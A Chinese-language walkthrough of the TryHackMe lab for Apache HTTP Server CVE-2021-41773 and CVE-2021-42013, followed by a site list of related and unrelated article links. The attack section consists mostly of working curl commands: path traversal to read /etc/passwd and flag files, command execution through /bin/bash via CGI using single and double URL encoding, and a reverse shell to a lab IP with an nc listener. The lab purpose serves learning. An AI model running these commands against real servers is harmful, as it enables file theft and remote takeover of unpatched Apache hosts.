CVE-2021-41773 apache路径遍历
来自tryhackeme的漏洞复现
CVE-2021-41773/42013
利用:路径遍历利用将允许服务器公开任意文件
需要启用mod_cgi模块才能获得远程代码执行
2021 年 10 月 5 日,一个 CVE 详细描述了对 Apache HTTP Server v2.4.49 的路径遍历攻击。分配编号为 CVE-2021-41773,发布时具有
以下描述:
在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目
录之外的文件。如果文档根目录之外的文件不受“要求全部拒绝”的保护,这些请求可能会成功。此外(原文如此)这个缺陷可能会泄露 CGI 脚
本等解释文件的来源。已知此问题在野外被利用。此问题仅影响 Apache 2.4.49,不影响更早的版本。
所以 Apache 修复了这个错误并发布了 v2.4.50。故事结束了,对吧?好吧,不完全是。仅仅 2 天后,即 10 月 7 日,一个新的 CVE 引用了之前的内容。这个提到对早期路径遍历攻击的修复是不完整的,如果有问题的路径使用别名指令将其 URL 映射到文件系统,我们仍然可以遍历。CVE编号为CVE-2021-42013,说明如下:
发现 Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不足。攻击者可以使用路径遍历攻击将 URL 映射到类别名指令配置的目录
之外的文件。如果这些目录之外的文件不受通常的默认配置“require all denied”的保护,这些请求可以成功。如果还为这些别名路径
(sic) 启用了 CGI 脚本,这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,不影响更早的版本。
Apache 服务器中路径规范化模块的最新更改随后允许特制 URL 绕过过滤器并遍历文档根目录之外,从而允许在配置允许的情况下读取系统上的任意文件。此外,如果启用了 CGI 模块,则还可以执行任意文件!
'.'进行url编码时为'%2e'
'%%32%65'解码为'%2e'
通过阅读配置得知该cgi-bin路径在默认情况下是别名的,所以让我们使用它吧!该漏洞在 2.4.49 和 2.4.50 版本之间略有不同。
未启用 CGI 的 Apache 2.4.49
如果不启用 CGI,我们只能读取文件。使用 curl,我们只需访问我们想要的文件,.在每个路径段中对其中一个文件进行 url 编码。
curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
启用 CGI 的 Apache 2.4.49
为了执行代码,我们可以简单地调用shorbash主体中的命令。请注意,还必须发出 Content-Type 响应标头,以便客户端知道如何显示结果。
curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
Apache 2.4.50
这个特殊的例子在版本 2.4.50 中得到修复。但是,修复不完整,无法解决 URL 的双重编码问题。在这种情况下,我们可以使用与以前版本相同的结构,路径如下:
curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
实践考试
-v 详细输出
没有 CGI 的 Apache 2.4.49:http://10.10.195.31:8080
curl -v 'http://10.10.195.31:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt'
带有 CGI 的 Apache 2.4.49:http://10.10.195.31:8081
curl -v 'http://10.10.195.31:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"
没有 CGI 的 Apache 2.4.50:http://10.10.195.31:8082
curl 'http://10.10.195.31:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
带有 CGI 的 Apache 2.4.50:http://10.10.195.31:8083
curl -v 'http://10.10.195.31:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo;cat /flag.txt' -H "Content-Type: text/plain"
开启本地监听nc -lvnp 1234
反弹shell curl -v 'http://10.10.195.31:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo;sh -i >& /dev/tcp/10.14.46.2/1234 0>&1' -H "Content-Type: text/plain"
CVE-2021-41773 apache路径遍历的更多相关文章
- 路径遍历:ZIP条目覆盖
程序在解压zip文件时,如果没有验证zip条目,攻击者可能对条目覆盖,从而造成路径遍历 例如:以下代码示例解压zip文件. static final int BUFFER = 512; / ...
- 5 X 5 方阵引出的寻路算法 之 路径遍历(完结)
此篇文章源自对一个有趣问题的思考,在我的另一篇博文<一个有趣的 5 X 5 方阵一笔画问题>中有详细介绍.在已知其结论的情况下,作为程序员的我,还是想利用该问题当做出发点,写一个可以遍 ...
- 墨者学院靶场:uWSGI(CVE-2018-7490)路径遍历漏洞复现
0x01漏洞简介 uWSGI是一款Web应用程序服务器,它实现了WSGI.uwsgi和http等协议.uWSGI 2.0.17之前版本中存在路径遍历漏洞,该漏洞源于程序没有正确的处理DOCUMENT_ ...
- Apache Flink上传路径遍历(CVE-2020-17518)
影响版本 Flink1.5.1-1.11.2 复现 POST /jars/upload HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip, def ...
- Apache Flink jobmanager/logs路径遍历CVE-2020-17519
影响版本 1.11.0 1.11.1 1.11.2 poc http://192.168.49.2:8081/jobmanager/logs/..%252f..%252f..%252f..%252f. ...
- MFC 添加文件路径 遍历文件
.添加MFC选择文件路径,使用MessageBox显示信息. void CMyCalLawsDlg::OnBnClickedAddfolder() { wchar_t* p; wchar_t szPa ...
- WEB渗透技术之浅析路径遍历
1. 发送 http://www.nuanyue.com/getfile=image.jgp 当服务器处理传送过来的image.jpg文件名后,Web应用程序即会自动添加完整路径,形如“d://sit ...
- C 给定路径遍历目录下的所有文件
在此之前需要了解 WIN32_FIND_DATA的结构 以及 FindFirstFile. FindNextFile原型以及用法注意事项传送门如下 https://msdn.microsoft.co ...
- CTF--HTTP服务--路径遍历(拿到www-data用户权限)
开门见山 1. 扫描靶机ip,发现PCS 172.18.4.20 2. 用nmap扫描靶机开放服务及版本 3. 再扫描靶机的全部信息 4. 用nikto工具探测http服务敏感信息 5. 用dirb工 ...
- sys添加调用模块的路径;遍历可以调用模块的路径
import sys sys.path.append("D:") for i in sys.path: print(i)
随机推荐
- Solon2 接口开发: 分布式 Api Gateway 开发预览
建议使用专业的分布式网关产品,比如: nginx apisix [推荐] k8s ingress controller 等... 对 Solon 来讲,只有 Gateway:它调用本地接口时,则为本地 ...
- Wondershare Recovery - 万兴数据恢复专家,恢复你 Mac 上的重要文件
Wondershare Recoverit 是恢复被删除文件最有效的软件之一.计算机用户面临的一个主要问题是失去机密信息.我们可能是误删除了数据和文件,或者可能是由于病毒袭击.操作系统故障或硬盘故障而 ...
- C#中抽象方法与虚方法的区别详解及示例
1. 抽象方法与虚方法的区别 先说两者最大的区别:抽象方法是需要子类去实现的.虚方法是已经实现了的,可以被子类覆盖,也可以不覆盖,取决于需求.因为抽象类无法实例化,所以抽象方法没有办法被调用,也就 ...
- webgl 系列 —— 着色器语言
其他章节请看: webgl 系列 着色器语言 本篇开始学习着色器语言 -- GLSL全称是 Graphics Library Shader Language (图形库着色器语言) GLSL 是一门独立 ...
- ABC291题解(D-G)
ABC291 D - Flip Cards Solution: 考虑DP,定义状态\(F_{i,0}\)为第\(i\)张卡片正面朝上的方案数,\(F_{i,1}\)为第\(i\)张卡片背面朝上的方案数 ...
- Java数据类型、标识符
目录 JavaSE 标识符 数据类型 基本数据类型 引用数据类型 转义字符 JavaSE 标识符 定义 Java中用于定义名称的都是标识符.例:包名,类名,变量名,方法名等. 组成 由数字.字母._. ...
- argparser Python包使用
argparser Python包使用 导入 import argparse 定义parser对象(参数为介绍) parser = argparse.ArgumentParser('test pars ...
- [Shell] Windows上支持Linux Shell的工具/方法
0 概述 1 方式一 : Windows Terminal 局限性: 不支持 xargs等命令 支持sed,find等命令 安装方式 安装Windows Terminal的最简单方法是通过Micros ...
- JSON.parse 函数 (JavaScript)
将 JavaScript 对象表示法 (JSON) 字符串转换为对象. 语法 参数 返回值 异常 以下示例使用 JSON.parse 将 JSON 字符串转换成对象. var jsontext = ' ...
- 【Mybatis Plus】
引入依赖 <dependencies> <dependency> <groupId>org.springframework.boot</groupId> ...